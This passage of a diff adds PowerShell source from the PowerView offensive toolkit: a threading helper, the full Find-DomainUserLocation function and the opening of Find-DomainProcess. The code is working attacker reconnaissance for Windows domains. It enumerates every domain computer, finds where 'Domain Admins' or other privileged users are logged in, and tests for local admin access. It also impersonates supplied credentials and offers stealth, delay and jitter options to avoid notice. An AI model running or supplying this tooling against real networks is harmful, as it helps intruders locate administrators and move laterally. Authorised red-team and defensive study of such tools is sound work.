$Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) + break + } + } + + $Jobs = @() + $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" + + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize + + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } + + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" + + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool + + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) + } + } + + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] + + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) + } + } + } + + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + + # continuously loop through each job queue, consuming output as appropriate + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + } + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + + $SleepSeconds = 100 + Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." + + # cleanup- make sure we didn't miss anything + for ($i=0; $i -lt $SleepSeconds; $i++) { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + Start-Sleep -S 1 + } + + $Pool.Dispose() + Write-Verbose "[New-ThreadedFunction] all threads completed" + } +} + + +function Find-DomainUserLocation { +<# +.SYNOPSIS + +Finds domain machines where specific users are logged into. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. If -ShowAll is specified, all results are displayed instead of +the filtered set. If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER UserAllowDelegation + +Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. + +.PARAMETER CheckAccess + +Switch. Check if the current user has local admin access to computers where target users are found. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER ShowAll + +Switch. Return all user location results instead of filtering based on target +specifications. + +.PARAMETER Stealth + +Switch. Only enumerate sessions from connonly used target servers. + +.PARAMETER StealthSource + +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserLocation + +Searches for 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainUserLocation -Stealth -ShowAll + +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. + +.EXAMPLE + +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred + +Searches for domain admin locations in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserLocation +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserLocation')] + [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [Parameter(ParameterSetName = 'UserGroupIdentity')] + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Alias('AllowDelegation')] + [Switch] + $UserAllowDelegation, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Parameter(ParameterSetName = 'ShowAll')] + [Switch] + $ShowAll, + + [Switch] + $Stealth, + + [String] + [ValidateSet('DFS', 'DC', 'File', 'All')] + $StealthSource = 'All', + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + $TargetComputers = @() + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = @($ComputerName) + } + else { + if ($PSBoundParameters['Stealth']) { + Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" + $TargetComputerArrayList = New-Object System.Collections.ArrayList + + if ($StealthSource -match 'File|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for file servers' + $FileServerSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } + $FileServers = Get-DomainFileServer @FileServerSearcherArguments + if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } + $TargetComputerArrayList.AddRange( $FileServers ) + } + if ($StealthSource -match 'DFS|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' + # # TODO: fix the passed parameters to Get-DomainDFSShare + # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} + } + if ($StealthSource -match 'DC|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } + $TargetComputerArrayList.AddRange( $DomainControllers ) + } + $TargetComputers = $TargetComputerArrayList.ToArray() + } + else { + Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + } + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserLocation] No hosts found to enumerate' + } + + # get the current user so we can ignore it in the results + if ($PSBoundParameters['Credential']) { + $CurrentUser = $Credential.GetNetworkCredential().UserName + } + else { + $CurrentUser = ([Environment]::UserName).ToLower() + } + + # now build the user target set + if ($PSBoundParameters['ShowAll']) { + $TargetUsers = @() + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" + if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { + throw '[Find-DomainUserLocation] No users found to target' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $Sessions = Get-NetSession -ComputerName $TargetComputer + ForEach ($Session in $Sessions) { + $UserName = $Session.UserName + $CName = $Session.CName + + if ($CName -and $CName.StartsWith('\\')) { + $CName = $CName.TrimStart('\') + } + + # make sure we have a result, and ignore computer$ sessions + if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { + + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $Null + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName + + # try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null + } + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + if (-not $Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer + ForEach ($User in $LoggedOn) { + $UserName = $User.UserName + $UserDomain = $User.LogonDomain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { + $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress + $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null + $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Test-AdminAccess -ComputerName $TargetComputer + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-DomainProcess { +<# +.SYNOPSIS + +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. + +Thanks to @paulbrandau for the approach idea. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER ProcessName + +Search for processes with one or more specific names. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainProcess + +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. + +.EXAMPLE + +Find-DomainProcess -ProcessName putty.exe + +Searchings for instances of putty.exe running on the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred + +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserProcess +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'TargetProcess')] + [ValidateNotNullOrEmpty()] + [String[]] + $ProcessName, + + [Parameter(ParameterSetName = 'TargetUser')] + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Parameter(ParameterSetName = 'TargetUser')] + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { 